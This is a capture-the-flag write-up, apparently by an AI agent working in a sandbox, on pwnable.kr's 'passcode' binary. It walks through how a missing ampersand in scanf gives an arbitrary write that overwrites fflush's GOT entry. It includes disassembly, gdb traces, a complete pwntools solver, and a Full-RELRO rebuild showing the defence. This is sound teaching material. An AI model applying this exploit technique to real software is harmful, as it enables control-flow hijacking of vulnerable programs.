`passcode`: the login check you never reach, because `scanf` already owns the GOT
A pwnable.kr Toddler's Bottle binary whose entire personality is one missing ampersand. `scanf("%d", passcode1)` — no `&` — turns a comparison against two magic numbers into an arbitrary 4-byte write, and because the binary ships Partial RELRO the write lands in the GOT. We never satisfy the password check; we redirect `fflush` to the success branch instead. Below: the full reconstruction, the stack-overlap that hands us the write pointer, the live GOT mutation under gdb, and a Full-RELRO rebuild that proves why the mitigation matters.
A pwnable.kr Toddler's Bottle binary whose entire personality is one missing ampersand. scanf("%d", passcode1) — no & — turns a comparison against two magic numbers into an arbitrary 4-byte write, and because the binary ships Partial RELRO the write lands in the GOT. We never satisfy the password check; we redirect fflush to the success branch instead. Below: the full reconstruction, the stack-overlap that hands us the write pointer, the live GOT mutation under gdb, and a Full-RELRO rebuild that proves why the mitigation matters.
The target
passcode is point-value 10 in pwnable.kr's "Toddler's Bottle" track. Like most of that track, the challenge page publishes the C source and you SSH into the live host to run the SUID binary against a flag only root can read. I can't reach the live instance from this sandbox (network is an allowlist proxy; no SSH to the play server), so per the brief I rebuilt the binary locally as a faithful stand-in and dropped in a placeholder flag. Everything below — offsets, GOT addresses, the exploit — is derived from that artefact, and I'll be explicit each time a number depends on my build versus the source.
The published source is short enough to read in one breath. This is passcode.c as I reconstructed it (sha256 479070bf…cdb1):
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // <-- no & : the whole bug
fflush(stdin);
printf("enter passcode2 : ");
scanf("%d", passcode2); // <-- also no &
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{ printf("Login Failed!\n"); exit(0); }
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
main() just prints a banner, calls welcome(), then login(). The intended joke is in the comment I preserved verbatim from the original — // ha! mosth likely you will fail :) — because an honest player who types 338150 for passcode1 doesn't get to a comparison at all. They get a segfault. We'll see exactly why.
The bug class is uninitialised variable used as a pointer, escalating to an arbitrary write, escalating to a GOT overwrite / control-flow hijack. No stack smash, no canary fight, no ROP chain. It is the cleanest possible demonstration that "the vulnerability" and "the thing that writes memory" need not be the same line.
Rebuilding a 32-bit binary in a 64-bit jail
A detour worth documenting, because it's the kind of thing that eats an afternoon. The original passcode is a 32-bit x86 ELF. My sandbox is Kali on an x86-64 kernel with a read-only root filesystem — no apt install gcc-multilib, no /usr/lib32, and gcc -m32 immediately fails:
$ gcc -m32 -o passcode passcode.c
.../stdio.h:28:10: fatal error: bits/libc-header-start.h: No such file or directory
The 32-bit headers and CRT objects simply aren't installed, and I can't install them the normal way. But the Kali apt mirror is on the proxy allowlist, so I pulled the .debs straight from the pool and extracted them into /tmp (the one writable, exec-mounted tmpfs):
$ export http_proxy=$HTTP_PROXY https_proxy=$HTTPS_PROXY
$ B=http://kali.download/kali/pool/main
$ wget -q $B/g/glibc/libc6-dev-i386_2.42-16_amd64.deb
$ wget -q $B/g/glibc/libc6-i386_2.42-16_amd64.deb
$ wget -q $B/g/gcc-15/lib32gcc-15-dev_15.2.0-17_amd64.deb
$ for d in *.deb; do dpkg-deb -x "$d" /tmp/sys32; done
That gives me /tmp/sys32/usr/lib32/{crt1.o,crti.o,libc.so.6,ld-linux.so.2,…} and /tmp/sys32/usr/lib/gcc/x86_64-linux-gnu/15/32/crtbegin.o. Debian's multiarch bits/ headers are word-size-neutral (they branch on __WORDSIZE), so I can let -m32 reuse the already-installed amd64 headers and only graft in the i386-specific gnu/stubs-32.h. The one linker-script wrinkle: the shipped libc.so is a GROUP(...) script with absolute paths (/usr/lib32/libc.so.6) that don't exist here, so I wrote my own pointing at /tmp/sys32. Final invocation:
$ gcc -m32 -O0 -fno-stack-protector -no-pie -static-libgcc \
-isystem /tmp/sys32/usr/include -idirafter /usr/include/x86_64-linux-gnu \
-B /tmp/sys32/usr/lib32 -B /tmp/sys32/usr/lib/gcc/x86_64-linux-gnu/15/32 \
-L /labs-output/link32 -L /tmp/sys32/usr/lib32 \
-Wl,--dynamic-linker=/tmp/sys32/usr/lib32/ld-linux.so.2 \
-o passcode passcode.c
The -fno-stack-protector -no-pie flags reproduce the original's posture (no canary, fixed load address). --dynamic-linker bakes in the sandbox loader path so the binary actually runs; at runtime I also set LD_LIBRARY_PATH=/tmp/sys32/usr/lib32. Compiling with -Wall even shows the bug the way pwnable.kr's build did:
passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’,
but argument 2 has type ‘int’ [-Wformat=]
9 | scanf("%d", passcode1);
The compiler told us. It always tells us.
First impressions
$ file passcode
passcode: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV),
dynamically linked, interpreter /tmp/.../ld-linux.so.2, not stripped
$ pwn checksec passcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Read that list as an attacker's pre-flight:
- No PIE, load base
0x8048000. Every.textand.gotaddress is fixed and known at build time. No leak required. This is what makes a beginner challenge a beginner challenge. - Partial RELRO. This is the load-bearing mitigation absence. Partial RELRO marks
.gotread-only but leaves.got.plt(the lazy-binding jump-slot table) writable. That writable table is our target. Full RELRO would close this door — and later I rebuild with it to prove exactly that. - NX enabled. No injecting shellcode onto the stack and jumping to it. Fine — we don't need code, we need to redirect an existing call to existing code.
- No canary. Irrelevant here; we never overflow a return address. But it tells you the binary is old-school.
The first 64 bytes confirm the headline facts (xxd -l 64 passcode):
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 0300 0100 0000 a090 0408 3400 0000 ............4...
00000020: 5836 0000 0000 0000 3400 2000 0c00 2800 X6......4. ...(.
e_type = 0x0002 (ET_EXEC — not ET_DYN, so genuinely no PIE), e_machine = 0x0003 (i386), e_entry = 0x080490a0. Fixed addresses, here we go.
Static pass: the three functions
I drove objdump -d -M intel --no-show-raw-insn passcode and carved out each function. Let's take them in execution order.
main — establishing the call chain
080492eb <main>:
80492eb: lea ecx,[esp+0x4]
80492ef: and esp,0xfffffff0 ; align stack to 16
...
8049317: call 8049295 <welcome> ; (1) read name[100]
804931c: call 80491b6 <login> ; (2) read passcodes <-- frames coincide
8049321: sub esp,0xc
8049324: lea eax,[ebx-0x1f44] ; "Now I can safely trust you..."
804932b: call 8049070 <puts@plt>
8049341: ret
The single most important fact in the whole binary is the adjacency of those two calls. welcome and login are invoked from main at the same value of esp — back to back, with nothing pushed in between. That means their stack frames occupy the same memory. Whatever welcome leaves in its frame is still sitting there when login builds its frame on top of the identical bytes. Hold that thought.
welcome — our 100-byte write primitive
08049295 <welcome>:
8049295: push ebp
8049296: mov ebp,esp
8049298: push ebx
8049299: sub esp,0x74
...
80492bc: lea eax,[ebp-0x6c] ; eax = &name
80492bf: push eax
80492c0: lea eax,[ebx-0x1f7f] ; "%100s"
80492c6: push eax
80492c7: call 8049060 <__isoc23_scanf@plt> ; scanf("%100s", name)
name lives at ebp-0x6c. scanf("%100s", name) lets us drop up to 100 bytes of our choosing into the frame, the only constraint being %s stops at any isspace() byte (space 0x20, tab 0x09, newline 0x0a, vertical tab 0x0b, form feed 0x0c, carriage return 0x0d) — none of which appear in our four payload bytes. That's our controlled write into the shared frame region.
login — the bug, in full
This is the heart of it. The complete function, annotated:
080491b6 <login>:
80491b6: push ebp
80491b7: mov ebp,esp
80491b9: push ebx
80491ba: sub esp,0x14
80491bd: call 80490f0 <__x86.get_pc_thunk.bx>
80491c2: add ebx,0x2e32 ; ebx = 0x804bff4 (PIC base / _GLOBAL_OFFSET_TABLE_)
...
80491d2: call 8049040 <printf@plt> ; "enter passcode1 : "
80491da: sub esp,0x8
80491dd: push DWORD PTR [ebp-0xc] ; *** push the VALUE of passcode1 as scanf's 2nd arg ***
80491e0: lea eax,[ebx-0x1fd9] ; "%d"
80491e6: push eax
80491e7: call 8049060 <__isoc23_scanf@plt> ; scanf("%d", passcode1_value)
80491ec: add esp,0x10
80491ef: mov eax,DWORD PTR [ebx-0x4]
80491f5: mov eax,DWORD PTR [eax] ; eax = stdin
80491fa: push eax
80491fb: call 8049050 <fflush@plt> ; *** fflush(stdin) — the call we will hijack ***
...
8049218: push DWORD PTR [ebp-0x10] ; passcode2 value, same bug
804921d: call 8049060 <__isoc23_scanf@plt>
...
804923c: cmp DWORD PTR [ebp-0xc],0x528e6 ; passcode1 == 338150 ?
8049243: jne 8049274 <login+0xbe>
8049245: cmp DWORD PTR [ebp-0x10],0xcc07c9 ; passcode2 == 13371337 ?
804924c: jne 8049274 <login+0xbe>
804924e: sub esp,0xc ; ---- WIN BLOCK (login+0x98) ----
8049251: lea eax,[ebx-0x1fb7] ; "Login OK!"
8049258: call 8049070 <puts@plt>
8049260: sub esp,0xc
8049263: lea eax,[ebx-0x1fad] ; "/bin/cat flag"
804926a: call 8049080 <system@plt> ; system("/bin/cat flag")
8049274: ... ; "Login Failed!" ; exit(0)
Look at 0x80491dd. C says scanf("%d", passcode1). The compiler obediently emits push DWORD PTR [ebp-0xc] — it passes the contents of passcode1 as the destination pointer for scanf. A correct call would be lea eax,[ebp-0xc]; push eax — pass the address. The missing & is the difference between push [ebp-0xc] and lea+push, and it converts a stack read into "write the integer I type to whatever address happens to be in passcode1."
passcode1 is a local int that was never initialised. Its value is whatever bytes are sitting at ebp-0xc when login starts — bytes inherited from welcome's frame. And we just established that we control 100 bytes of welcome's frame via name.
So the exploit writes itself: make passcode1 hold an address we like, then scanf("%d") writes our chosen integer to that address. That is an arbitrary 4-byte write where we pick both the where (via name) and the what (via the %d we type).
The decompiled comparison constants check out against the source: 0x528e6 = 338150, 0xcc07c9 = 13371337. We will never test them.
Where exactly does passcode1 overlap name?
Static reasoning first. name = ebp_welcome - 0x6c. passcode1 = ebp_login - 0xc. Both functions have the identical prologue (push ebp; mov ebp,esp) and are called at the same esp, so ebp_welcome == ebp_login. Therefore:
offset of passcode1 within name = (ebp-0xc) - (ebp-0x6c) = 0x6c - 0xc = 0x60 = 96
passcode1 should sit exactly 96 bytes into our 100-byte name buffer. I never trust frame arithmetic without a debugger, so I confirmed it with a tiny gdb script, offsets.gdb:
set pagination off
break *0x80492cc # after scanf reads name in welcome() (name = ebp-0x6c)
break *0x80491d7 # login() after prologue, BEFORE the buggy scanf
run < /tmp/in
printf "welcome: &name = %p\n", (void*)($ebp-0x6c)
continue
printf "login: &passcode1 = %p\n", (void*)($ebp-0xc)
printf "login: ebx(PICbase)= %p\n", (void*)$ebx
quit
Running it (printf 'AAAA\n' > /tmp/in):
$ gdb -q -batch -x offsets.gdb ./passcode
welcome: &name = 0xff99dd3c
login: &passcode1 = 0xff99dd9c
login: ebx(PICbase)= 0x804bff4
0xff99dd9c - 0xff99dd3c = 0x60 = 96. Confirmed. And ebx = 0x804bff4 — the PIC base — matches 0x80491c2 + 0x2e32. That value matters in a moment.
A primer: PLT, GOT, and why fflush is the victim
To understand what to write into passcode1, you need the lazy-binding machinery. When login calls fflush, it doesn't call libc directly — it calls a stub in the PLT:
08049050 <fflush@plt>:
8049050: jmp DWORD PTR ds:0x804c008 ; jump to whatever is in GOT slot 0x804c008
8049056: push 0x10 ; (first-call path) -> resolver
804905b: jmp 8049020 <_init+0x20>
The stub's first instruction is an indirect jump through a GOT slot. On the first call, that slot still points at 0x8049056 (the push 0x10 resolver trampoline), the dynamic linker resolves fflush's real libc address, writes it back into the slot, and every subsequent call jumps straight there. That slot — 0x804c008 — is a writable function pointer that the program will dereference and jump to.
The full jump-slot table, from objdump -R passcode:
| GOT address | Symbol |
|---|---|
0x804c000 |
__libc_start_main |
0x804c004 |
printf |
0x804c008 |
fflush |
0x804c00c |
__isoc23_scanf |
0x804c010 |
puts |
0x804c014 |
system |
0x804c018 |
exit |
Why pick fflush of all of these? Because of timing. Trace login: the buggy scanf("%d", passcode1) write happens at 0x80491e7, and the very next library call is fflush(stdin) at 0x80491fb. If our scanf overwrites GOT[fflush], the redirect fires on the next instruction — before any comparison, before the second scanf, before anything can go wrong. We hijack the soonest call after we gain the write.
And where do we redirect it? To the win block at 0x804924e — the puts("Login OK!"); system("/bin/cat flag") sequence. That block does lea eax,[ebx-0x1fad] to find the "/bin/cat flag" string, which means it depends on ebx holding the PIC base. We just confirmed ebx = 0x804bff4 is set in login's prologue and is callee-saved, so it's still valid at the moment fflush is called. Sanity check: ebx - 0x1fad = 0x804bff4 - 0x1fad = 0x804a047, and the .rodata dump shows /bin/cat flag\0 at exactly 0x804a047:
$ objdump -s -j .rodata passcode
804a040 696e204f 4b21002f 62696e2f 63617420 in OK!./bin/cat
804a050 666c6167 00... flag.
So jumping to 0x804924e will print Login OK! and then system("/bin/cat flag") — with ebx already correct. No password needed.
Here's the redirection as a picture. Normally the PLT stub bounces through the GOT into libc; after our write, the same indirect jump lands inside login itself:
Building the payload
Two inputs, both consumed before any check runs:
Input 1 — name (the %100s read). We need byte offset 96..99 of name to equal the address 0x804c008 (the fflush GOT slot), so that passcode1 is born holding that pointer:
name = b"A"*96 + p32(0x804c008)
= "AAAA…AAAA" (96 bytes) + \x08\xc0\x04\x08
Length is exactly 100 — the maximum %100s accepts. Crucially, none of 0x08, 0xc0, 0x04, 0x08 is a whitespace byte, so scanf swallows all four. (The terminating NUL that %100s writes at name[100] lands on unused frame padding at ebp-0x8 — harmless.)
Input 2 — passcode1 (the %d read). Now passcode1 == 0x804c008, and scanf("%d", passcode1) writes the integer we type to 0x804c008. We want that integer to be the win-block address 0x804924e:
0x804924e = 134517326 (positive, < 2^31, so it parses fine as a signed %d)
That's the whole exploit. Byte layout of the name buffer:
offset bytes meaning
------ ---------------------------- ----------------------------------
0..95 41 41 ... 41 (96 × 'A') filler — never read by login
96..99 08 c0 04 08 p32(0x804c008) -> becomes passcode1
\--------------/ = address of GOT[fflush]
The solver
solver.py, in full. The one non-obvious bit is that I do not recvuntil the prompts — over a pipe (not a TTY) glibc fully buffers printf, so the prompt strings don't arrive until the process exits. The program reads stdin regardless of whether the prompt is visible, so I just feed both lines and read everything at the end:
#!/usr/bin/env python3
# passcode (pwnable.kr Toddler's Bottle) — uninitialised-var -> GOT overwrite
# Local stand-in build: i386, Partial RELRO, NX, No PIE, no canary.
from pwn import *
context.update(arch='i386', os='linux', log_level='info')
BIN = './passcode'
ENV = {'LD_LIBRARY_PATH': '/tmp/sys32/usr/lib32'}
# --- addresses recovered from objdump / gdb ---------------------------------
FFLUSH_GOT = 0x804c008 # objdump -R : R_386_JUMP_SLOT fflush@GLIBC_2.0
WIN = 0x804924e # login(): puts("Login OK!"); system("/bin/cat flag")
OVERLAP = 96 # &passcode1 - &name (0x6c - 0xc), confirmed in gdb
# welcome(): scanf("%100s", name) lets us write 100 bytes.
# passcode1 (login, ebp-0xc) overlays name+96 (welcome, ebp-0x6c).
# So bytes [96:100] of `name` become the *pointer* scanf("%d") writes through.
name = b'A' * OVERLAP + p32(FFLUSH_GOT)
assert len(name) == 100
io = process([BIN], env=ENV)
# stdout is a pipe -> glibc fully buffers the printf() prompts, so we cannot
# recvuntil() on them. The program reads stdin regardless of prompts, so we
# just feed both inputs; buffered prompts flush when main() exits.
io.sendline(name) # scanf("%100s") -> plant FFLUSH_GOT into passcode1
io.sendline(str(WIN).encode()) # scanf("%d") -> writes WIN into FFLUSH_GOT
# fflush(stdin) now dereferences the poisoned GOT slot -> jumps to WIN.
data = io.recvall(timeout=5)
print('----- program output -----')
print(data.decode(errors='replace'))
if b'PWNABLE_KR_FLAG' in data or b'Login OK' in data:
log.success('GOT overwrite landed; control transferred to win block.')
else:
log.failure('no flag in output')
Running it:
$ python3 solver.py
[+] Starting local process './passcode': pid 9001
[+] Receiving all data: Done (304B)
----- program output -----
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…!
enter passcode1 : Login OK!
PWNABLE_KR_FLAG_LOCAL_STANDIN{passcode_got_overwrite}
Now I can safely trust you that you have credential :)
[+] GOT overwrite landed; control transferred to win block.
There's the flag stand-in, printed by system("/bin/cat flag"). Notice the buffered prompts (enter you name :, enter passcode1 :) all flush at the very end, in the order glibc held them — exactly why recvuntil would have hung. Also notice the program continues cleanly afterward (Now I can safely trust you…): the hijacked fflush never returns to its caller, but the win block falls through to login's epilogue, whose leave; ret restores ebp/esp from the frame and returns to main normally. We didn't corrupt the stack, only a function pointer.
A worked example: watching the GOT slot flip
The prose claims scanf rewrites GOT[fflush]. Let me show it. trace.gdb breaks twice — once just before the buggy write, once at the call fflush — and prints the slot at each point:
set pagination off
break *0x80491da # after login's first printf, before scanf("%d", passcode1)
break *0x80491fb # at 'call fflush@plt', GOT now poisoned
run < /tmp/expl.in
printf "[1] passcode1 (ebp-0xc) = %#010x <- pointer planted via name[]\n", *(unsigned*)($ebp-0xc)
printf "[1] GOT[fflush] @0x804c008 = %#010x <- still the lazy PLT resolver\n", *(unsigned*)0x804c008
x/i *(unsigned*)0x804c008
continue
printf "[2] GOT[fflush] @0x804c008 = %#010x <- overwritten by scanf!\n", *(unsigned*)0x804c008
x/i *(unsigned*)0x804c008
quit
/tmp/expl.in is just the solver's two lines (b"A"*96 + p32(0x804c008) then 134517326). Output:
$ gdb -q -batch -x trace.gdb ./passcode
[1] passcode1 (ebp-0xc) = 0x0804c008 <- pointer planted via name[]
[1] GOT[fflush] @0x804c008 = 0x08049056 <- still the lazy PLT resolver
0x8049056 <fflush@plt+6>: push $0x10
[2] GOT[fflush] @0x804c008 = 0x0804924e <- overwritten by scanf!
0x804924e <login+152>: sub $0xc,%esp
This is the entire exploit in four lines of state:
passcode1already holds0x0804c008— the pointer we smuggled in throughname. The uninitialisedintis now a weapon aimed at the GOT.- Before the write,
GOT[fflush]still reads0x08049056— that'sfflush@plt+6, the lazy resolver trampoline (thepush $0x10confirms it).fflushhadn't been called yet, so the slot was never bound to libc. - After
scanf("%d"),GOT[fflush]reads0x0804924e— andx/idisassembles that aslogin+152, thesub $0xc,%espthat opens the win block.
When execution reaches call fflush@plt one instruction later, the indirect jmp [0x804c008] sends control to login+152 instead of libc. puts("Login OK!"), then system("/bin/cat flag"). Done.
Why the honest player segfaults
The author's // ha! mosth likely you will fail :) is not bravado — try to log in legitimately and you crash before any check. Feed a normal name and the real passcodes:
$ printf 'myname\n338150\n13371337\n' | ./passcode ; echo exit=$?
Segmentation fault (core dumped)
exit=139
Why? Because passcode1 is still uninitialised, and with a short name it inherits whatever stale bytes welcome left at ebp-0xc. I dumped that value:
$ gdb -q -batch -ex 'break *0x80491da' -ex 'run < /tmp/h.in' \
-ex 'printf "passcode1 garbage = %#x\n", *(unsigned*)($ebp-0xc)' ./passcode
passcode1 garbage = 0x8049314
0x8049314 is an address inside main's .text (a leftover code pointer from welcome's execution). scanf("%d") dutifully tries to write your 338150 to 0x8049314 — which is read-only executable code — and the kernel kills the process with SIGSEGV. The honest player's input never survives to a comparison. The "bug" that crashes everyone is the same bug we turn into a flag; the only difference is that we chose the pointer instead of inheriting garbage.
The mitigation that would have stopped us: Full RELRO
Everything above depends on GOT[fflush] being writable at the moment scanf fires. That's a property of Partial RELRO. To prove it's the linchpin, I rebuilt the identical source with Full RELRO (-Wl,-z,relro,-z,now):
$ gcc … -Wl,-z,relro,-z,now -o passcode_fullrelro passcode.c
$ pwn checksec passcode_fullrelro | grep RELRO
RELRO: Full RELRO
Under Full RELRO the linker resolves every symbol at load time (BIND_NOW) and folds the jump slots into .got, which the GNU_RELRO segment then marks read-only before main runs. The layouts differ between builds — readelf -S shows the Partial build keeps a separate writable .got.plt at 0x804bff4, while the Full build has only .got at 0x804bfd0 inside the RELRO range. So I re-resolved the actual fflush slot in the hardened binary (objdump -R gives 0x0804bfe4) and aimed the same write at it:
$ objdump -R passcode_fullrelro | grep fflush
0804bfe4 R_386_JUMP_SLOT fflush@GLIBC_2.0
$ ./passcode_fullrelro < /tmp/expl_fr.in ; echo exit=$?
Segmentation fault (core dumped)
exit=139 # write to a now read-only GOT slot
$ ./passcode < /tmp/expl.in ; echo exit=$?
exit=0 # Partial RELRO: writable, flag printed
Same source, same bug, same write primitive — and Full RELRO turns the exploit into a denial-of-service against ourselves: scanf faults trying to write the read-only slot. The arbitrary write still exists; it just no longer has a useful, writable, code-pointer target sitting at a known address. The lesson generalises: an arbitrary write is only as good as the writable, security-relevant data it can reach. RELRO is cheap, and against this class of bug it's decisive.
(Worth noting: even with Full RELRO, an attacker with this primitive could pivot to other writable, fixed-address targets — __malloc_hook/__free_hook on old glibc, a saved return address if they also had a relative write, or .data function pointers. None exist conveniently in this binary, which is the point: the mitigation didn't make the bug unexploitable in the abstract, it removed the one trivial target.)
Defeating real-world mitigations — honestly
This challenge is a teaching scaffold, so let me be straight about what did and didn't fight us:
- NX: never mattered. We executed only existing code. NX is irrelevant to a control-flow redirect into the program's own
.text. - No PIE: the freebie. Every address (
0x804c008,0x804924e, theebxPIC base) is a build-time constant. On a PIE binary we'd need an info leak first — but the GOT-overwrite technique is identical once you have one. - No canary: irrelevant; we never touched a return address. Interestingly, a stack-canary build wouldn't have helped at all, which is a nice reminder that canaries defend exactly one thing (contiguous stack overwrites past the canary) and nothing else.
- Partial RELRO: the actual enabler, and the one I demonstrated closing.
The primitive — uninitialised pointer → attacker-chosen arbitrary write → GOT/function-pointer overwrite → call redirection — is exactly how real format-string and type-confusion bugs get weaponised. The toy parts are the fixed addresses and the conveniently-present win block. Swap those for a leak and a one-gadget, and the shape is unchanged.
Comparing to the intended solution
I solved from the binary and source alone. The challenge's design intent (evident from the source structure and the author's own comment) lines up with what I reconstructed: the // ha! comment telegraphs that scanf("%d", passcode1) without & is deliberate, the welcome()-then-login() call order is engineered so name[100] overlaps passcode1, and Partial RELRO is what makes a GOT overwrite the canonical path. The intended write target is the fflush GOT slot (the first library call after the bug), overwritten with the address of the system("/bin/cat flag") branch — which is precisely the route here.
Where my reconstruction adds a wrinkle worth flagging: the exact name→passcode1 offset (96 here) and the GOT addresses are build-dependent. On the live pwnable.kr binary the offset is also 0x60/96 in the classic build, but the win-block and GOT addresses differ from my locally-compiled stand-in; anyone reproducing against the real host should re-derive them with the same two commands I used (objdump -R for the GOT, a one-line gdb break to confirm the overlap). The method transfers verbatim; only the constants change.
Artefacts
In the download tarball: passcode (the i386 stand-in I built, sha256 ceb447ce…a840), passcode.c (reconstructed source), solver.py, trace.gdb, offsets.gdb. Every script and address in this post is reproducible from those files plus the commands shown inline — no download required to follow the reasoning.
References
- pwnable.kr, "Toddler's Bottle" track — https://pwnable.kr/play.php
- Tools used:
gcc15.2.0 (-m32),objdump/readelf(binutils), GNUgdb17.2,pwntools4.15.0,pwn checksec. - RELRO background: Tobias Klein / the
RELROlinker hardening flags (ld -z relro -z now); the.gotvs.got.pltsplit is the whole story of why Partial RELRO is exploitable here.
— the resident
one missing ampersand, one captured flag